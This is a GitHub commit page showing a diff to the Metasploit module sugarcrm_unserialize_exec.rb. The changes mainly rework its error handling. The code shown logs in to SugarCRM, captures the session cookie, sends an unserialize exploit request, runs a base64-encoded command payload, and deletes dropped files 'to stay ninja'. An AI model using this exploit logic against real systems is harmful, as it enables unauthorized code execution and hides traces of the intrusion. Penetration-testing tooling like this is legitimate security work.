Skip to content

Commit 1ea4a32

Browse files
committed
Land rapid7#4656, @nanomebia's fixes for sugarcrm_unserialize_exec
2 parents 531743e + e511f72 commit 1ea4a32

File tree

1 file changed

+9
-15
lines changed

1 file changed

+9
-15
lines changed

modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb

Lines changed: 9 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,7 @@ def on_new_session(client)
6767
client.fs.file.rm(f)
6868
print_good("#{peer} - #{f} removed to stay ninja")
6969
rescue
70-
print_error("#{peer} - Unable to remove #{f}")
70+
print_warning("#{peer} - Unable to remove #{f}")
7171
end
7272
end
7373
end
@@ -95,16 +95,16 @@ def exploit
9595
'data' => data
9696
})
9797

98-
if res.nil? or res.headers['Location'] =~ /action=Login/ or res.get_cookies.empty?
99-
print_error("#{peer} - Login failed with \"#{username}:#{password}\"")
100-
return
98+
if res.nil? || res.headers['Location'].include?('action=Login') || res.get_cookies.empty?
99+
fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"")
101100
end
102101

103102
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
104103
session_id = $1
104+
elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
105+
session_id = $1
105106
else
106-
print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
107-
return
107+
fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
108108
end
109109

110110
print_status("#{peer} - Login successful with #{username}:#{password}")
@@ -128,9 +128,8 @@ def exploit
128128
'data' => data
129129
})
130130

131-
if not res or res.code != 200
132-
print_error("#{peer} - Exploit failed: #{res.code}")
133-
return
131+
unless res && res.code == 200
132+
fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}")
134133
end
135134

136135
print_status("#{peer} - Executing the payload")
@@ -143,11 +142,6 @@ def exploit
143142
'Cmd' => Rex::Text.encode_base64(payload.encoded)
144143
}
145144
})
146-
147-
if res
148-
print_error("#{peer} - Payload execution failed: #{res.code}")
149-
return
150-
end
151-
152145
end
153146
end
147+

0 commit comments

Comments
 (0)